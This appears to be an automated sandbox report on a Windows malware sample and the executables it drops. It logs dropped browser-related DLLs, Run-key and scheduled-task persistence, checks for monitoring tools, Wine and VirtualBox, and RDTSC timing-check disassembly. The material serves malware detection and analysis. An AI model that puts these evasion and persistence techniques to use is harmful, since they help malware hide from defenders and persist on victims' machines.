Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1010575001\b081bb79ae.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[2].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\Documents\FCFBFHIEBK.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1010572001\bb0adee266.exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 39c228201d.exe			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d88d6966da.exe			Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1010572001\bb0adee266.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1010572001\bb0adee266.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010572001\bb0adee266.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1010572001\bb0adee266.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1010572001\bb0adee266.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Documents\FCFBFHIEBK.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 39c228201d.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 39c228201d.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d88d6966da.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d88d6966da.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1010572001\bb0adee266.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1010572001\bb0adee266.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: 67d914dff5.exe, 0000000D.00000003.2489607005.0000000007579000.00000004.00001000.00020000.00000000.sdmp, bb0adee266.exe, 00000010.00000003.2706867228.00000000078DE000.00000004.00001000.00020000.00000000.sdmp, bb0adee266.exe, 00000010.00000002.2747794907.000000000113F000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: PROCMON.EXE
Source: 67d914dff5.exe, 0000000D.00000003.2489607005.0000000007579000.00000004.00001000.00020000.00000000.sdmp, bb0adee266.exe, 00000010.00000003.2706867228.00000000078DE000.00000004.00001000.00020000.00000000.sdmp, bb0adee266.exe, 00000010.00000002.2747794907.000000000113F000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: X64DBG.EXE
Source: 67d914dff5.exe, 0000000D.00000003.2489607005.0000000007579000.00000004.00001000.00020000.00000000.sdmp, bb0adee266.exe, 00000010.00000003.2706867228.00000000078DE000.00000004.00001000.00020000.00000000.sdmp, bb0adee266.exe, 00000010.00000002.2747794907.000000000113F000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: WINDBG.EXE
Source: bb0adee266.exe, 00000010.00000002.2747794907.000000000113F000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: 67d914dff5.exe, 0000000D.00000003.2489607005.0000000007579000.00000004.00001000.00020000.00000000.sdmp, bb0adee266.exe, 00000010.00000003.2706867228.00000000078DE000.00000004.00001000.00020000.00000000.sdmp, bb0adee266.exe, 00000010.00000002.2747794907.000000000113F000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: WIRESHARK.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB003A second address: DB0055 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE0F4DC3CB7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB0055 second address: DAF897 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE0F4D44906h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov dword ptr [ebp+122D1A8Ah], edx 0x00000013 push dword ptr [ebp+122D00F1h] 0x00000019 jmp 00007FE0F4D44913h 0x0000001e call dword ptr [ebp+122D1A3Dh] 0x00000024 pushad 0x00000025 jmp 00007FE0F4D44915h 0x0000002a xor eax, eax 0x0000002c pushad 0x0000002d sub ax, 9191h 0x00000032 mov ecx, dword ptr [ebp+122D29C9h] 0x00000038 popad 0x00000039 mov edx, dword ptr [esp+28h] 0x0000003d cmc 0x0000003e mov dword ptr [ebp+122D27E9h], eax 0x00000044 sub dword ptr [ebp+122D1A30h], ecx 0x0000004a mov esi, 0000003Ch 0x0000004f add dword ptr [ebp+122D19A5h], ecx 0x00000055 add esi, dword ptr [esp+24h] 0x00000059 jp 00007FE0F4D4490Ch 0x0000005f lodsw 0x00000061 pushad 0x00000062 push eax 0x00000063 jmp 00007FE0F4D44913h 0x00000068 pop ebx 0x00000069 movsx edi, bx 0x0000006c popad 0x0000006d add eax, dword ptr [esp+24h] 0x00000071 mov dword ptr [ebp+122D1A30h], edi 0x00000077 mov ebx, dword ptr [esp+24h] 0x0000007b pushad 0x0000007c or cx, FEBDh 0x00000081 sub dword ptr [ebp+122D19A5h], ecx 0x00000087 popad 0x00000088 push eax 0x00000089 pushad 0x0000008a push eax 0x0000008b push edx 0x0000008c jo 00007FE0F4D44906h 0x00000092 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF897 second address: DAF89B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E3F2 second address: F2E3F9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E3F9 second address: F2E408 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jbe 00007FE0F4DC3CAEh 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2D4BC second address: F2D4D2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE0F4D44910h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2D4D2 second address: F2D4DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jns 00007FE0F4DC3CA6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2D4DE second address: F2D503 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4D4490Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c jmp 00007FE0F4D44911h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2D68B second address: F2D68F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2D68F second address: F2D6A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE0F4D4490Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F30F3B second address: F30F3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F30F3F second address: F30F43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F30F43 second address: DAF897 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 add dword ptr [esp], 715F5380h 0x0000000d push dword ptr [ebp+122D00F1h] 0x00000013 jmp 00007FE0F4DC3CACh 0x00000018 call dword ptr [ebp+122D1A3Dh] 0x0000001e pushad 0x0000001f jmp 00007FE0F4DC3CB5h 0x00000024 xor eax, eax 0x00000026 pushad 0x00000027 sub ax, 9191h 0x0000002c mov ecx, dword ptr [ebp+122D29C9h] 0x00000032 popad 0x00000033 mov edx, dword ptr [esp+28h] 0x00000037 cmc 0x00000038 mov dword ptr [ebp+122D27E9h], eax 0x0000003e sub dword ptr [ebp+122D1A30h], ecx 0x00000044 mov esi, 0000003Ch 0x00000049 add dword ptr [ebp+122D19A5h], ecx 0x0000004f add esi, dword ptr [esp+24h] 0x00000053 jp 00007FE0F4DC3CACh 0x00000059 lodsw 0x0000005b pushad 0x0000005c push eax 0x0000005d jmp 00007FE0F4DC3CB3h 0x00000062 pop ebx 0x00000063 movsx edi, bx 0x00000066 popad 0x00000067 add eax, dword ptr [esp+24h] 0x0000006b mov dword ptr [ebp+122D1A30h], edi 0x00000071 mov ebx, dword ptr [esp+24h] 0x00000075 pushad 0x00000076 or cx, FEBDh 0x0000007b sub dword ptr [ebp+122D19A5h], ecx 0x00000081 popad 0x00000082 push eax 0x00000083 pushad 0x00000084 push eax 0x00000085 push edx 0x00000086 jo 00007FE0F4DC3CA6h 0x0000008c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F30FF7 second address: F3101C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FE0F4D44912h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d js 00007FE0F4D4490Ch 0x00000013 jnl 00007FE0F4D44906h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3101C second address: F31042 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnl 00007FE0F4DC3CA6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FE0F4DC3CB2h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31042 second address: F31048 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31109 second address: F31113 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FE0F4DC3CA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31113 second address: F31121 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3118D second address: F31271 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007FE0F4DC3CB7h 0x0000000c pop edi 0x0000000d popad 0x0000000e mov dword ptr [esp], eax 0x00000011 movsx edx, bx 0x00000014 push 00000000h 0x00000016 or dword ptr [ebp+122D1A8Ah], ecx 0x0000001c push CE66D382h 0x00000021 jmp 00007FE0F4DC3CB9h 0x00000026 add dword ptr [esp], 31992CFEh 0x0000002d sub dword ptr [ebp+122D3411h], eax 0x00000033 push 00000003h 0x00000035 sub dword ptr [ebp+122D1A77h], esi 0x0000003b push 00000000h 0x0000003d jp 00007FE0F4DC3CACh 0x00000043 push 00000003h 0x00000045 call 00007FE0F4DC3CB7h 0x0000004a mov si, ABE8h 0x0000004e pop edx 0x0000004f push CD41E7C6h 0x00000054 jmp 00007FE0F4DC3CB0h 0x00000059 xor dword ptr [esp], 0D41E7C6h 0x00000060 jmp 00007FE0F4DC3CAEh 0x00000065 lea ebx, dword ptr [ebp+12454EB6h] 0x0000006b adc di, 7657h 0x00000070 xchg eax, ebx 0x00000071 push ebx 0x00000072 jmp 00007FE0F4DC3CB8h 0x00000077 pop ebx 0x00000078 push eax 0x00000079 push eax 0x0000007a push edx 0x0000007b push ebx 0x0000007c push ecx 0x0000007d pop ecx 0x0000007e pop ebx 0x0000007f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31271 second address: F3127B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FE0F4D44906h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F312D6 second address: F31318 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push edx 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov dword ptr [ebp+122D1B5Ah], edi 0x00000013 and esi, dword ptr [ebp+122D2859h] 0x00000019 push 00000000h 0x0000001b mov esi, dword ptr [ebp+122D19D8h] 0x00000021 call 00007FE0F4DC3CA9h 0x00000026 jmp 00007FE0F4DC3CADh 0x0000002b push eax 0x0000002c push eax 0x0000002d push edx 0x0000002e push ecx 0x0000002f jo 00007FE0F4DC3CA6h 0x00000035 pop ecx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31318 second address: F3131E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3131E second address: F31322 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
